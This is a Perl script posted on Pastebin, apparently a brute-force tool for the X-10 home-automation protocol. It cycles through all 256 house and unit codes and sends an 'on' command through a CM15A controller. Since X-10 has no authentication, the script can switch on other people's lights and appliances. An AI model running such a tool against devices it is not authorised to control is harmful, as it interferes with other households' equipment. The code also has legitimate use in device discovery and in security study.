document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. [root@Carmen ~]# more x10_brute.pl
  2. #!/usr/bin/perl -w
  3. use Fcntl;
  4.  
  5. #VARS
  6. my %housecodes = ( 0=>\'m\', 1=>\'e\', 2=>\'c\', 3=>\'k\', 4=>\'o\', 5=>\'g\', 6=>\'a\', 7=>\'i\',
  7.                   8=>\'n\', 9=>\'f\', 10=>\'d\', 11=>\'l\', 12=>\'p\', 13=>\'h\', 14=>\'b\', 15=>\'j\' );
  8.  
  9. my %housecodes_r = reverse %housecodes;
  10.  
  11. my %devicecodes = ( 0=>13, 1=>5, 2=>3, 3=>11, 4=>15, 5=>7, 6=>1, 7=>9,
  12.                    8=>14, 9=>6, 10=>4, 11=>12, 12=>16, 13=>8, 14=>2, 15=>10 ) ;
  13. my %devicecodes_r = reverse %devicecodes;
  14.  
  15. my %x10commands = ( 0 => \'all_units_off\',
  16.                     1 => \'all_lights_on\',
  17.                     2 => \'on\',
  18.                     3 => \'off\',
  19.                     4 => \'dim\',
  20.                     5 => \'bright\',
  21.                     6 => \'all_lights_off\',
  22.                     7 => \'extended_code\',
  23.                     8 => \'hail_request\',
  24.                     9 => \'hail_ack\',
  25.                     10 => \'preset_dim1\',
  26.                     11 => \'preset_dim2\',
  27.                     12 => \'extended_data\',
  28.                     13 => \'status_on\',
  29.                     14 => \'status_off\',
  30.                     15 => \'status_request\' );
  31.  
  32. my %x10commands_r = reverse %x10commands;
  33.  
  34.  
  35. #MAIN
  36. #Brute X-10
  37.  
  38.  
  39. my $comando=\'on\';
  40.  
  41. for (\'a\'..\'p\')
  42. {
  43.     my $casa=$_;
  44.     for (\'1\'..\'16\')
  45.     {
  46.         my $unidad=$_;
  47.         print "Testing $casa $unidad ON...\\n";
  48.         my $hc = $housecodes_r{lc($casa)};
  49.         my $uc = $devicecodes_r{$unidad};
  50.         my $cm = $x10commands_r{$comando};
  51.  
  52.             my $uhc = ($hc << 4) | $uc;
  53.             my $chc = ($hc << 4) | $cm;
  54.  
  55.             $msg1 = pack("CC", 0x04, $uhc);
  56.             $msg2 = pack("CC", 0x06, $chc);
  57.  
  58.             sysopen( CM15A, "/dev/cm15a0", O_RDWR |O_NOCTTY | O_NONBLOCK ) || die "Cannot open device $!";
  59.  
  60.             syswrite CM15A, $msg1, 2;
  61.             sleep 1;
  62.             syswrite CM15A, $msg2, 2;
  63.             close( CM15A );
  64.             sleep 3;
  65.     }
  66. }
');